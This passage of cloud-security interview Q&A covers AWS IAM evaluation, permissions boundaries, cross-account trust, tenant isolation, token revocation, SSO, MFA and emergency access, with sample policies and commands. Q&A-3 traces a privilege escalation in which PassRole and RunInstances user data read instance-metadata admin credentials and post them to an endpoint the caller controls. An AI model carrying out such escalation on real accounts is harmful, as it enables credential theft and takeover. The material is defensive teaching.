      "EvalResourceName": "arn:aws:s3:::reports-prod/2024/q3.csv",
      "EvalDecision": "allowed",
      "MatchedStatements": [
        {
          "SourcePolicyId": "reports-prod-bucket-policy",
          "SourcePolicyType": "Resource Policy"
        }
      ],
      "MissingContextValues": []
    }
  ]
}

MatchedStatements is the payload: it names the input that produced the allow, which is what you need in order to fix it. If MissingContextValues is non-empty, the decision is unresolved: the policy turns on a condition key (aws:SourceIp, aws:PrincipalTag, aws:MultiFactorAuthPresent) the simulator had no value for. Supply it with --context-entries or the result means nothing.

Simulation is one of four evidence sources, and it is not the strongest for every question:

EvidenceAnswersBlind spot
simulate-principal-policydoes this triple allow?condition keys with no runtime value; resource-policy coverage varies by service, so confirm it for the service you are testing
Access Analyzer CheckAccessNotGranted, unused access findingsdoes this policy document grant a named action; what went unused over the last 90 days of CloudTrailoperates on a policy document, not the union of all inputs; unused is not the same as denied
CloudTrailwhat was actually attempted, and the decisionmanagement events only by default; S3 object-level and Lambda data events are off unless enabled and billed; Event history holds 90 days
Reading the policythe text of one inputeverything else

Reach for CloudTrail when the question is "did it ever write" rather than "could it". Reach for Access Analyzer when you are reviewing a policy before it ships. Simulation answers neither: it proves a decision for the context you supplied, and says nothing about what happened.

A worked example of the failure this catches: an identity with a read-only identity policy writes to a bucket because the bucket policy grants the account write. The reviewer read the identity policy and stopped. Detection is cheap: run the simulator for the write actions the identity should not have (s3:PutObject, s3:DeleteObject, kms:Decrypt) against the resources it touches, and alert on any allow whose MatchedStatements point at a resource policy.

Curated: · Written: · Reviewed:

Q&A-3An identity has no dangerous permissions of its own. Why might that not be enough?

The 60-second version. Effective permissions are the transitive closure of the identity graph, not the identity's own policy list. An identity with zero dangerous actions can still reach admin if it holds any one of three primitives: pass a role, assume a role, or modify a policy. A compliance scan reads the policy; an attacker reads the graph.

The three primitives

PrimitiveExample actionWhat it actually grants
Pass a roleiam:PassRolethe target service runs with that role's permissions
Assume a rolests:AssumeRoleyour session gets that role's permissions; gated by the trust policy, not yours
Rewrite policyiam:CreatePolicyVersion (SetAsDefault), iam:PutRolePolicy, iam:AttachRolePolicyyou can grant yourself anything the account allows
Rewrite trustiam:UpdateAssumeRolePolicylets you assume a role you otherwise could not
Resource policys3:GetObject via bucket policy, kms:Decrypt via key policyaccess with no IAM allow on the principal at all

A worked trace. Role build has exactly two statements:

{"Version": "2012-10-17", "Statement": [
  {"Effect": "Allow", "Action": "ec2:RunInstances", "Resource": "*"},
  {"Effect": "Allow", "Action": "iam:PassRole",
   "Resource": "arn:aws:iam::111122223333:role/deploy-admin"}
]}
  1. build calls RunInstances with IamInstanceProfile: deploy-admin and user data that fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/deploy-admin and posts the result to an endpoint the caller controls.
  2. EC2 launches the instance; the instance profile's temporary credentials are readable from inside it.
  3. The posted AccessKeyId / SecretAccessKey / SessionToken are admin credentials. Two API calls, no dangerous action in the policy.

IMDSv2 does not stop this. The token requirement defeats SSRF from outside the instance; the instance itself can always PUT for a token and read its own role. What limits the blast radius is the instance profile's own permissions boundary and the account SCP, not the caller's.

Failure modes worth naming

  • iam:PassRole with Resource: "*" and no iam:PassedToService condition. Scope it to specific role ARNs plus "Condition": {"StringEquals": {"iam:PassedToService": "ec2.amazonaws.com"}}.
  • A trust policy of "Principal": {"AWS": "arn:aws:iam::111122223333:root"}. That means the account, so any principal in it holding sts:AssumeRole can assume the role: usually broader than intended.
  • A service principal trusted without SourceAccount / SourceArn conditions, which is the confused-deputy shape.
  • A permissions boundary on the caller. It constrains the caller only; it does nothing to the role being passed.

Detection. aws iam simulate-principal-policy evaluates one principal's identity policies, boundaries and SCPs: it does not follow PassRole or AssumeRole edges, so it will report build as harmless. You need a graph closure: PMapper builds the identity graph and computes reachability; IAM Access Analyzer's policy checks flag wildcard PassRole and trust-policy shapes. Run the closure, then report reachable administrative access per identity, not per policy.

Passing a role is holding it, one step later.

Curated: · Written: · Reviewed:

Q&A-5How do you let a team manage their own roles without letting them grant themselves administrator?

Core answer (first 90 seconds)

Grant role creation only with a permissions boundary attached, and enforce that with a condition key rather than a written rule. Effective permissions for a role are the intersection of its identity-based policies and its permissions boundary, so a team that attaches AdministratorAccess to a role it created still cannot exceed the boundary. The boundary is the ceiling; the identity policy is what they actually asked for.

Two things make that hold. First, the identity policy that grants iam:CreateRole carries a StringEquals condition on iam:PermissionsBoundary naming the approved boundary ARN: a create without that boundary is denied. Second, an SCP denies iam:DeleteRolePermissionsBoundary and iam:PutRolePermissionsBoundary across the account, so the team cannot swap the boundary for a permissive one or remove it after creation. They can attach whatever policies they like to their roles; the boundary caps the result.

The policies

Delegate's identity policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "CreateRoleOnlyWithCeiling",
      "Effect": "Allow",
      "Action": "iam:CreateRole",
      "Resource": "arn:aws:iam::123456789012:role/team-*",
      "Condition": {
        "StringEquals": {
          "iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/TeamCeiling"
        }
      }
    },
    {
      "Sid": "NoEditingTheCeiling",
      "Effect": "Deny",
      "Action": ["iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion", "iam:DeletePolicy"],
      "Resource": "arn:aws:iam::123456789012:policy/TeamCeiling"
    }
  ]
}

The boundary itself is coarse: service-level wildcards, no iam:*:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:*", "dynamodb:*", "lambda:*", "logs:*", "sqs:*", "sns:*", "ec2:Describe*"],
      "Resource": "*"
    }
  ]
}

Org SCP, attached at the OU, denies boundary removal and protects the audit trail:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": ["iam:DeleteRolePermissionsBoundary", "iam:PutRolePermissionsBoundary"],
      "Resource": "*"
    },
    {
      "Effect": "Deny",
      "Action": ["cloudtrail:StopLogging", "cloudtrail:DeleteTrail", "guardduty:DeleteDetector", "config:StopConfigurationRecorder", "organizations:LeaveOrganization"],
      "Resource": "*"
    }
  ]
}

Trade-offs and when not to use it

Boundaries cost maintenance. Every legitimate new permission is a boundary edit, so keep the boundary at service granularity: action-level boundaries generate tickets and stall teams. If the risk is one known path, an SCP blocklist is cheaper: deny iam:AttachRolePolicy on arn:aws:iam::aws:policy/AdministratorAccess and deny iam:CreatePolicyVersion on *. That is a blocklist, though: a customer-managed policy with "Action": "*" walks around it unless you also deny attaching it. If the team is trusted and you want speed, detective control is enough: CloudTrail CreateRole events to EventBridge to a Lambda that deletes any role created without the boundary. That leaves a window of exposure measured in seconds, not zero.

Failure modes

  • Resource-based policies bypass boundaries. A bucket policy granting the role s3:GetObject works regardless of the boundary. Boundaries cap identity-based permissions only.
  • SCPs do not apply to the management account or to service-linked roles. Keep delegated teams in member accounts.
  • If the team can edit the boundary policy document, the ceiling is theirs. Deny iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion on the boundary ARN, as above.

Verify it

As the delegated identity: aws iam create-role --role-name team-test --permissions-boundary arn:aws:iam::123456789012:policy/TeamCeiling ... should succeed; the same call without --permissions-boundary should return AccessDenied from the condition. Then attach AdministratorAccess to team-test, assume it, and run aws iam create-user --user-name x: expect AccessDenied, because iam:* is not in the boundary.

Curated: · Written: · Reviewed:

Q&A-9What do you check before allowing another account to assume a role in yours?

Four checks, in order: who exactly is trusted, what the caller must prove, what the role can do once assumed, and whether the trust is still intended.

1. Principal: account or role?

"Principal": {"AWS": "arn:aws:iam::111122223333:root"} does not mean the root user. It means any principal in account 111122223333 whose own identity policy allows sts:AssumeRole on this role: including identities that account creates next year. That is a delegation to that account's administrator, not to the party you negotiated with. If the caller is a named role, name it: arn:aws:iam::111122223333:role/vendor-integration. If you must keep the account root because the partner rotates roles, pin the caller with aws:PrincipalArn, which resolves to the role ARN for assumed-role sessions.

2. What the caller must prove.

For third-party access, require sts:ExternalId. The vendor's other customers know the vendor's account ID; without an external ID, one of them can induce the vendor to call sts:AssumeRole on your role using the vendor's own credentials: the confused deputy. The external ID is a value you generate and hand to the vendor. AWS allows 2–1224 characters, so use a high-entropy value you can rotate.

3. What the role can do.

The trust policy is half the grant. Check the role's permissions policies, its permission boundary, and whether it can itself call sts:AssumeRole: role chaining caps that session at 1 hour regardless of the role's MaxSessionDuration. Default session is 1 hour; the maximum is 12.

4. Whether it is still intended.

Enumerate every external principal trusted by any role in the account and confirm each is still wanted.

ControlStopsWrong tool when
Principal = account rootnothing past the account boundaryalways, for a named partner
Principal = role ARNother principals in that accountpartner rotates role ARNs
sts:ExternalIdconfused deputy by the vendor's other customersfirst-party accounts in your own org: it is a shared value to rotate for no gain
aws:PrincipalOrgIDany principal outside your orgthe caller is a third party outside it
aws:SourceArn / aws:SourceAccounta service acting on behalf of another resourcehuman or role callers
SCPprincipals in your orgexternal callers: SCPs are evaluated against the caller, so yours never applies to them
Permission boundaryyour own roles' blast radiusthe external caller's permissions

A trust policy that does all of this:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::111122223333:role/vendor-integration"},
    "Action": "sts:AssumeRole",
    "Condition": {
      "StringEquals": {"sts:ExternalId": "acme-7f3c91d2b8e04a16"}
    }
  }]
}

sts:RoleSessionName is caller-chosen, so it is for CloudTrail attribution, not a control: do not treat it as one.

Failure modes and how you catch them.

  • Confused deputy. The vendor's other customer gets your role. Detect: alarm on AssumeRole CloudTrail events where the caller's account is the vendor's but the session name or source identity is not the integration's.
  • Trust drift. A partner rotates their role ARN, someone widens the principal to the account root to unbreak it, and the external ID goes with it. Detect: IAM Access Analyzer external-access findings, re-run on every trust-policy change.
  • Stale trust. The integration was decommissioned; the role still exists. Detect: the role's last-activity data plus CloudTrail AssumeRole history. A role with no successful assumption in 90 days is a candidate for deletion, not review.

I would not call it settled until every external principal in the account has been enumerated and each one is still intended and still conditioned.

Curated: · Written: · Reviewed:

Q&A-38Your application serves many customers from one account. How do you prevent one reaching another's data?

What I'd say first

Assume the shared account is the trust boundary and the application is the thing that will eventually have a bug. So I don't rely on every query remembering WHERE tenant_id = ?. I push the tenant predicate into the data layer, and where the data layer can't express it, into the credential the request runs under.

Postgres: row-level security

-- Postgres 16
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
ALTER TABLE invoices FORCE ROW LEVEL SECURITY;   -- owner is exempt without this
CREATE POLICY tenant_isolation ON invoices
  USING (tenant_id = current_setting('app.tenant_id', true)::uuid);

Each request runs in a transaction that sets the tenant:

BEGIN;
SET LOCAL app.tenant_id = '8f14e45f-ceea-467a-9c1e-2b0f4a1d3c77';
SELECT * FROM invoices WHERE id = $1;   -- no tenant predicate, deliberately
COMMIT;

Trace it: current_setting('app.tenant_id', true) returns NULL when the GUC was never set, tenant_id = NULL evaluates to NULL, the policy is not satisfied, and the row is filtered out. Zero rows, not another tenant's row. Fail-closed is the property I want.

Two ways this breaks. SET LOCAL outside a transaction block has no effect, Postgres warns and ignores it, so with autocommit on every query returns zero rows. That's an outage, not a leak, but it's real. And PgBouncer in transaction pooling mode is safe with SET LOCAL because the setting dies with the transaction; session-level SET is not, because the connection returns to the pool carrying tenant A's GUC and the next request on it reads A's rows.

FORCE ROW LEVEL SECURITY matters because the table owner bypasses policies by default, and so does any role with BYPASSRLS. The migration role must not be the role the app connects as.

Where the data layer can't do it

  • DynamoDB: make the tenant the partition key (TENANT#<id>) and attach an IAM policy with "dynamodb:LeadingKeys": ["${aws:PrincipalTag/tenant_id}"]. The service evaluates the condition, so a request without the tenant prefix is rejected rather than filtered.
  • S3: one prefix per tenant, arn:aws:s3:::acme-uploads/${aws:PrincipalTag/tenant_id}/*, with the tag delivered as an STS session tag at AssumeRole (the role needs sts:TagSession). A key leaked from tenant A is useless under B's credentials.
  • KMS: pass tenant_id as encryption context and require "kms:EncryptionContext:tenant_id": "${aws:PrincipalTag/tenant_id}" on Decrypt. A ciphertext moved between tenants fails with AccessDeniedException instead of decrypting.

The test

For each access path, authenticate as A and fetch B's object by its real identifier; assert 403 or 404, never 200. Run it in CI against a seeded two-tenant fixture. That is the only evidence the layer is actually on.

Cost of each layer (hypothetical service: 14 repositories, 87 query call sites)

LayerDefects that leakDetected byPlaces to get right
per-query WHERE tenant_idany one of 87nothing87
Postgres RLSnonethe cross-tenant test1 policy per table
per-tenant KMS keynoneAccessDeniedException1 key policy

Curated: · Written: · Reviewed:

Q&A-19You believe a session token is compromised. How do you stop it being used?

First question back: which token? The answer differs for a server-side session id, a stateless JWT, an OAuth refresh token, and a cloud STS credential. I'll assume a web app with a server-side session store, then cover the rest.

Server-side session (the common case). The session id is a key into a store the server owns. Delete the record and the next request carrying that id fails authentication. The cookie in the attacker's browser is a pointer, not the authority, so deleting it client-side does nothing: they already copied the value.

# Redis-backed session store; every request resolves the session id first.
def revoke(session_id):
    redis.delete(f"sess:{session_id}")                 # authoritative
    redis.setex(f"revoked:{session_id}", 86400, "1")   # covers cached lookups

def current_user(request):
    sid = request.cookies.get("sid")
    if sid is None or redis.exists(f"revoked:{sid}"):
        raise Unauthorized
    data = redis.get(f"sess:{sid}")
    if data is None:
        raise Unauthorized
    return json.loads(data)

Trace: the attacker replays sid=abc. revoked:abc exists, so current_user raises Unauthorized on the first request after revoke returns. The only window is the store's own replication lag: single-digit milliseconds in-region.

Stateless JWT. There is no server-side record, so you cannot revoke one token by deleting anything. Either keep a denylist keyed by jti and check it per request, which reintroduces the store lookup you removed by going stateless, or rotate the signing key, which invalidates every session including legitimate ones. A short TTL (5–15 min) bounds the damage but does not stop the token.

OAuth. Revoke the refresh token at the authorization server. The access token stays valid until it expires; if you kill only the access token, the attacker refreshes and is back.

Cloud STS / IAM. Temporary credentials cannot be revoked individually. Attach a deny policy conditioned on issue time, or delete the role or identity. The token keeps working until the policy propagates.

CredentialRevoke individually?What stops itResidual window
Server-side session idyesdelete session recordnext request
Stateless JWTnodenylist jti, or rotate signing key (all users)until exp / denylist TTL
OAuth refresh tokenyesrevoke at auth serveraccess token until exp
AWS STS temp credsnodeny policy on aws:TokenIssueTime, or delete rolepolicy propagation
Static access keyyesdeactivate keynear-immediate

Failure mode I have seen: during an incident a team rotated the access key and believed the session was stopped. The attacker's session token stayed valid for another 4 hours and was used throughout. The same trap applies to rotating a JWT signing key: it works, but it logs out every user, so it is a last resort, not a first move.

Detection: instrument the time from "revoke" decision to the credential actually failing, per credential type. If that number is unknown, you have not rehearsed revocation, and the first attempt will be during an incident. Rehearse it against a live session so the number is measured, not assumed.

Curated: · Written: · Reviewed:

Q&A-27Single sign-on is in place. What has that concentrated?

Three things get concentrated, and they're worth separating: the blast radius of one credential, the availability of every app behind the IdP, and the audit trail you'll actually read during an incident.

Blast radius first. Before SSO, stealing a password got an attacker one app. After, a session at the IdP is a session everywhere that trusts it. The signing key is the real prize: whoever holds it mints assertions for any user, and every downstream app accepts them because the signature checks out. In Entra ID that's the tenant token-signing certificate; in Okta it's the org's SAML signing cert. Rotating it is a tenant-wide event, which is exactly why it rarely gets rotated.

Availability is the second concentration. Every app behind the IdP inherits its uptime. If Okta or Entra ID is down, engineers can't reach the AWS console, the CI system, or the incident tooling: including the tooling you'd use to fix it. That's why the break-glass path matters more after SSO than before it.

Third, the audit trail moves. The interesting events stop appearing in the app's log and start appearing in the IdP's.

Now the trade-offs, because "harden the IdP" isn't the only answer.

Break-glass accounts vs IdP hardening. Break-glass is a deliberate bypass: two cloud-only accounts, excluded from conditional access, credentials in a physical safe, and an alert on every sign-in. It's insurance against an IdP outage and against locking yourself out with a bad policy. The cost is a permanent hole you have to watch. Hardening: phishing-resistant MFA (WebAuthn/FIDO2 security keys, or Entra ID's built-in "Phishing-resistant MFA" authentication strength) required for every role that can edit trust or claim mappings: is the main path. You need both; they cover different failures.

SCIM vs manual federation. SCIM 2.0 provisioning deprovisions in minutes: deactivate the user in the IdP and the app account goes with it. Manual federation has no such link: the app account survives, and the user keeps access until their token expires. Entra ID's default refresh token slides up to 90 days, so "until the token expires" can mean a quarter. SCIM earns its mapping maintenance for anything past a handful of users.

When centralising isn't worth it: a handful of apps; a jurisdiction boundary that requires a separate identity domain; or an app whose own availability SLA beats your IdP's and whose users can't tolerate the IdP being down.

The failure mode I'd actually expect: an attacker with IdP admin rights doesn't steal a password, they edit a claim mapping. Say they add a groups claim that maps to a cloud admin role. Then they authenticate to AWS through SAML normally. CloudTrail shows AssumeRoleWithSAML, MFA satisfied, a familiar source IP. Nothing anomalous on the cloud side. The IdP audit log has one line: an application or policy update.

EventVisible in cloud logVisible in IdP log
Forged assertion loginnono
Claim mapping changenoyes
Role assumptionnono

So detection has to live at the IdP. Alert on every change to federation trust, signing certificates, and claim or attribute mappings, and route it to a person rather than a log. Entra ID sign-in and audit logs default to 30 days retention; Okta's System Log keeps 90. If your investigation window is longer than that, export to a SIEM before you need it.

Curated: · Written: · Reviewed:

Q&A-28Is multi-factor authentication enough for administrative cloud access?

No. MFA answers "is this the right person," not "should this person hold this privilege right now, from this device." Administrative cloud access needs three controls stacked, and MFA is only the first.

Assumptions I'd state up front: the cloud provider's IdP is the control plane (Entra ID, AWS IAM Identity Center, Google Cloud Identity); the admin population is small enough to issue hardware keys to; a monitored break-glass path exists.

1. Phishing-resistant factor. Push and TOTP are relayable in real time by an adversary-in-the-middle proxy (Evilginx-style). Require FIDO2/passkey or certificate-based auth. In Entra ID that is a Conditional Access policy using the built-in Phishing-resistant MFA authentication strength; in IAM Identity Center, require a FIDO2 security key on the admin permission set.

2. No standing privilege. MFA on a permanently assigned admin role still means a stolen session token is a full compromise. Use just-in-time elevation: Entra PIM eligible assignments (activation requires MFA plus justification, bounded activation window, 8 hours by default), or IAM Identity Center permission sets assumed per task. Standing admin should be zero.

3. Trusted device and short sessions. Admin work happens on a dedicated admin workstation: no email, no general browsing. Short token lifetimes plus continuous access evaluation so a revoked account loses access in minutes rather than at token expiry.

Why MFA alone fails

  • AiTM relay. The attacker proxies the login and captures the session cookie, replaying it with MFA already satisfied. Only an origin-bound factor defeats this.
  • MFA fatigue. Repeated push prompts until the user approves: the mechanism behind the 2022 Uber breach. Number matching and push rate limits help; removing push entirely helps more.
  • Session token theft. Even a passkey login yields a bearer token. Stealing it from the endpoint bypasses the factor. Token binding where the provider offers it (Entra ID token protection) and short lifetimes are the mitigations.
ThreatWhat actually stops it
Password reuse, bulk phishingAny MFA
AiTM relay of push or TOTPOrigin-bound factor (FIDO2/passkey)
MFA fatigue push bombingNumber matching, then removal of push
Stolen session tokenToken protection, continuous access evaluation, short lifetimes
Compromised admin endpointAdmin workstation, no standing privilege

Enforcement. An AWS SCP or IAM policy condition that denies non-MFA sessions:

{
  "Effect": "Deny",
  "Action": "*",
  "Resource": "*",
  "Condition": { "BoolIfExists": { "aws:MultiFactorAuthPresent": "false" } }
}

This checks that the session was MFA-authenticated. It does not detect a stolen session token, and it cannot tell a passkey from a push. Pair it with aws:MultiFactorAuthAge to force re-authentication on a schedule.

Break-glass. Two cloud-only emergency accounts, excluded from Conditional Access, long random credentials in a sealed vault, alerting on any use. Without this, an IdP outage locks you out of the account you need to fix it.

MFA is necessary and not sufficient. The control is as strong as its weakest permitted fallback, if a helpdesk can reset an admin into SMS, that is your real strength.

Curated: · Written: · Reviewed:

Q&A-31Should engineers hold standing production access?

What I'd say in the first two minutes

Scope first: I'm reading "standing production access" as human interactive privilege (SSH, kubectl, the cloud console, a prod database) not the machine identities your CI pipeline uses. For humans, no: default to just-in-time elevation with short-lived credentials, plus a break-glass path that is tested and alarmed. Standing access should be the exception someone has to argue for, not the default.

The reason is the attacker's window, not the engineer's convenience. A standing credential is valid the moment it's stolen (a phished laptop, a leaked ~/.ssh/id_rsa, a token sitting in shell history) and it stays valid until someone notices and rotates it. A JIT grant is valid only while it's live, and it's bound to an identity that re-authenticated with MFA to obtain it. The audit record is a side effect: every privileged action traces back to a grant with a stated reason.

The trade-off is real

Friction lands exactly when you can least afford it. If a grant takes 20 minutes and two approvals, engineers route around it: a shared root password, a long-lived key in a vault, a "temporary" standing role nobody removes. So the design goal is elevation in under a minute for the common case, approval only where blast radius justifies it, and an elevation service that does not depend on the systems it gates.

Exposure arithmetic

ModelPrivileged hours per engineer/monthAttacker window
Standing730Theft until rotation: unbounded
JIT, 4-hour grants, 3 per month12Zero unless a grant is live; ≤4 h if one is

Twelve engineers holding standing admin is 12 × 730 = 8,760 privileged engineer-hours per month. The same twelve with three 4-hour grants each is 12 × 12 = 144 hours. That's a 60× cut in exposure, and the residual window is bounded per grant instead of open-ended.

What the flow looks like

  1. Engineer requests access to prod-db, re-authenticating with MFA.
  2. Policy evaluates: on-call engineer, low-risk resource → auto-approve; otherwise route to an approver with the stated reason attached.
  3. Grant issued as a short-lived certificate (4 h) bound to that engineer's identity, reason recorded.
  4. TTL expires → the credential is dead. No revocation call needed.
  5. Every session and command carries the grant ID into the audit log.

AWS IAM Identity Center is a concrete reference point: session duration defaults to 1 hour and can be configured up to 12. A 12-hour session is a workday of standing access with extra steps: cap grants at the length of the task.

Failure modes and how I'd catch them

  • Elevation service down during an incident. This is what kills JIT programs. Run a synthetic canary that requests a grant every minute and alerts on failure; keep break-glass credentials sealed, alarmed on use, and rotated after every use.
  • Grants longer than the task. Query active grants older than the TTL and alert; auto-revoke on expiry rather than trusting the engineer to log out.
  • Session tokens outliving the grant. Bind token TTL to grant TTL. A 4-hour grant with a 24-hour session token is standing access wearing a badge.
  • Approval rubber-stamping. Measure median approval latency; if it's seconds, it's a click, not a review. Auto-approve low-risk requests and review after the fact instead.
  • Standing access creeping back. Report standing privileged grants against elevations per month, per team, and drive the standing count toward zero.

Where standing access is still right

Machine identities that can't do interactive MFA, but the fix there is workload identity federation (OIDC from the CI runner to the cloud role), not a long-lived key. And a small number of break-glass human accounts: sealed, alarmed, rotated.

Standing privilege is privilege the attacker inherits on arrival.

Curated: · Written: · Reviewed:

Q&A-29How should emergency administrative access work?

What I'd say first

Emergency access is the path you use when the normal path is the thing that's broken. So the first question is: what is the failure domain? If SSO is how everyone gets in, then SSO is the failure domain, and any emergency path that authenticates through it is not an emergency path.

Assumption I'd state out loud: cloud control plane, one IdP fronting all normal admin access, a handful of admins. Under those assumptions I'd run two independent paths, not one: a per-person hardware-token path for attribution, and a shared vaulted credential under dual control for the case where the person with the token is unreachable. Both sit outside federation. Both alert to a channel that does not require the IdP to read. Both get exercised on a schedule with the elapsed time recorded.

The options and what decides between them

OptionShapePick it whenWeak point
Shared vaulted credential (CyberArk safe, Vault KV)one secret, dual-control checkout, session recordedcompliance wants a two-person rule and a checkout logattribution lives in the vault log, not the target's audit log
Per-person hardware token, registered directly on the accounteach admin has their own FIDO2 key, no federationunder ~10 admins and you want the target system's own log to name the humanN tokens to rotate; a lost key locks one person out
JIT elevation (Entra PIM eligible assignments, IAM Identity Center permission sets)no standing privilege, activate for a windowthe normal path is healthy and you're removing standing admindepends on the IdP, so it is useless in the outage you built it for
Cloud root / emergency account with hardware MFAAWS root user, Entra emergency access accountslast resort onlyroot can't be scoped down; every use should page someone

Deciding criteria, in order: is the IdP inside the failure domain; does a regulator require dual control; how many admins have to be reachable at 3 a.m.

When not to use this. If the control plane is on-prem and reachable without the IdP, a separate break-glass path just adds a credential to manage for no gain. And if break-glass is being used more than roughly once a quarter, the normal path is broken: fix that instead of hardening the exception.

Failure modes, and how each is caught

  • Expired factor. The credential exists, the token was rotated out. Only an exercise catches it; nothing in production touches this path.
  • Alert that needs the IdP. Sign-in alerts mailed to a tenant that's down, or posted to a chat tool behind SSO. Route to an on-call pager and a second named recipient.
  • Shared account with no attribution. The vault checkout log is the only record of who used it. Acceptable only if that log is shipped somewhere the admin can't edit.
  • Excluded and forgotten. Emergency accounts are excluded from conditional access so they work during an outage; that exclusion is also why MFA on them has to be verified by hand.
  • Vault sealed by its own keys. Vault's default Shamir split is 5 key shares with a threshold of 3 to unseal. If those shares live in the same place, the vault is not a break-glass path.

The exercise, which is the actual control

Quarterly, two people: one holds the credential, one watches the clock and the alert channel.

  1. Authenticate to the control plane. Record time to first successful admin call.
  2. Confirm the alert reached the on-call pager and the second recipient, and record the latency.
  3. Perform one reversible admin action, then revoke it.
  4. Fail the exercise if any step required the IdP, or if the alert never arrived.

Set a target and hold to it: for example access under 15 minutes and alert under 5. The numbers matter less than the fact that they're measured every quarter and that a miss produces a fix. Everything else here is a configuration that can drift.

Curated: · Written: · Reviewed:

Q&A-30Where does access accumulate in a cloud estate?

Where it accumulates

Access accumulates wherever the joiner-mover-leaver process doesn't reach. Four places, roughly in order of how often they're missed:

  1. Direct-to-principal grants. A policy attached to the user rather than to a group. A move adds one; nothing removes the old one.
  2. Resource-based policies in other accounts. An S3 bucket policy, KMS key policy, SQS queue policy, or a role trust policy naming a principal. The grant lives in the resource's account, so a review of the principal's account never sees it.
  3. Non-human identities. CI roles, service accounts, app registrations, access keys. The leaver process covers the human; the credential they created outlives them.
  4. Nested groups. Membership in a group that is itself a member of another group, plus any direct grant layered on top of it.

The mechanism is the same in all four: JML is driven from the identity provider, and it can only remove what the IdP granted. Everything outside that boundary is monotonic: it only grows.

Worked example (figures illustrative)

Account 123456789012, 40 human users. Pull the authorization details and split each user's grants into group-derived and direct:

aws iam get-account-authorization-details --filter User > authz.json

jq -r '.UserDetailList[] | [.UserName, (.GroupList|length),
  (.AttachedManagedPolicies|length), (.UserPolicyList|length)] | @tsv' authz.json

Then check last use on the direct attachments only:

aws iam generate-service-last-accessed-details \
  --arn arn:aws:iam::123456789012:policy/prod-db-readwrite
# -> {"JobId": "<job-id>"}
aws iam get-service-last-accessed-details --job-id <job-id>

One user, a.okafor, is in eng-readonly (4 group policies) and carries two direct attachments: prod-db-readwrite, attached 2021-03, last authenticated 2024-11; and billing-admin, attached 2022-08, never authenticated. Six grants, four justified by the current role. The other two are residue from roles held in 2021 and 2022.

Where the grant lives vs. where the review looks

Grant lives inRemoved by JML?Where a review usually looks
IdP group membershipYesIdP
IAM policy attached to a userNoSometimes
Resource policy in another accountNoRarely
Cross-account role trust policyNoRarely
Access key / service-account secretNoNo
DB role, Vault path, SaaS OAuth tokenNoNo

Detection

IAM Access Analyzer's unused access analyzer (ACCOUNT_UNUSED_ACCESS) reports unused permissions, roles, access keys and passwords; its external access findings flag cross-account and cross-org resource policies. Neither covers the last row of the table: database roles, secret-store paths and SaaS OAuth grants need their own inventory, because they never appear in a cloud IAM review.

Two failure modes worth naming. Nested groups: removing a user from eng-readonly does nothing if eng-readonly is itself a member of prod-operators and the user also holds prod-operators directly. Expand transitive membership before you claim a revocation worked. Break-glass accounts: shared, no named owner, credentials in a vault, last rotated years ago; they show up in no JML run because no individual joined or left.

What to do, and the trade-off

Drive access from group membership so a move changes it automatically, and inventory separately the grants that cannot be group-derived: resource policies, break-glass, machine credentials. Review entitlements on a cadence with the manager rather than centrally, because the manager knows current need and a central reviewer does not.

The trade-off is that manager reviews decay into rubber stamps. Measure them by revocations per cycle: if a review returns zero removals across a population with visible residue, it is theatre and the residue is still there. The check that settles it is reconciling effective access against current role for a sample of long-tenured people (aws iam simulate-principal-policy for the IAM half, the resource owners for the rest) and counting the grants no group explains.

Curated: · Written: · Reviewed:

Q&A-32A production change is recorded as performed by a deployment role. What is missing?

The 90-second answer

What is missing is the initiating human identity. The record says which role made the call; it does not say which person caused that role to be assumed. Every question that follows (who to page, whose access to revoke, whether the change was authorised) depends on that link, and it cannot be reconstructed afterwards from the role name alone.

So carry the human through the assumption. On AWS, sts:AssumeRole with SourceIdentity set to the caller's verified identity, plus session tags for team and change ticket, and condition keys (sts:SourceIdentity, sts:TagSession) so a call without them is denied. CloudTrail then writes the assumed role and the source identity into the same event, under userIdentity.sessionContext. GCP workforce identity federation and Entra's signed-in-user claims are the equivalents; the shape is the same everywhere: the human is an input to the credential exchange, not a comment in the pipeline log.

Why role-only fails

A role is a credential, not an actor. The pipeline holds either a long-lived key or an OIDC-federated role; the human's identity is consumed at the first hop (a merge, a button, a CLI invocation) and dropped there. The cloud sees only the last hop. An automation identity names the tool, not the actor.

Alternatives, and what each costs

ApproachNames the personCost / failure mode
Role onlynoAttribution needs a timestamp join across two systems; breaks entirely once log retention differs
Per-deployer rolesyesN people × M environments roles; drift, per-role offboarding, and a policy change becomes an N-role rollout
Session tags / SourceIdentityyesMust be enforced at the trust policy; break-glass paths fail closed unless exempted
Pipeline-signed attestation (in-toto/Sigstore-style)yes, if verifiedVerification has to sit in the admission path, not in a report; any pipeline that skips signing bypasses it silently

Per-deployer roles are the honest fallback when the identity provider can't mint a per-run token: more roles, but no new enforcement point. Session tags are cheaper to operate and harder to get right, because the enforcement is the whole mechanism.

The cost that gets skipped: if you deny untagged requests, the emergency path fails at 3am. Either give break-glass its own untagged role that alerts loudly and demands a ticket, or allow untagged and require post-hoc review. Fail-closed buys attribution, fail-open buys recovery. Pick deliberately and write down which.

Failure modes, and how you'd see them

  • Tag spoofing. If the pipeline lets the caller set SourceIdentity freely, the tag is only as trustworthy as the pipeline's own auth. Detect by diffing source identity against the pipeline's own record of who triggered the run.
  • Shared runner, static key. Every change attributes to the key's owner. Detect: one identity, many humans, many repositories.
  • Federation that drops the subject. The OIDC token carries sub; the role assumption discards it. Detect: source identity absent on federated events but present on console ones.

Worked example (illustrative figures)

A team ran role-only. Attributing one destructive production change to a person meant correlating pipeline logs against cloud logs by timestamp; it took two days. After moving to source identity, the same lookup is a single audit event.

Log contentNames personTime to attribute
role onlyno~2 days
role + source identityyes~2 min

How I'd check it's actually solved

Take one production change from last week, pull the single cloud audit event, and confirm it names a person without joining to another system. If it needs a join, it isn't solved.

Curated: · Written: · Reviewed:

Q&A-33An attacker gains administrative access. What happens to your logs?

The 90-second answer

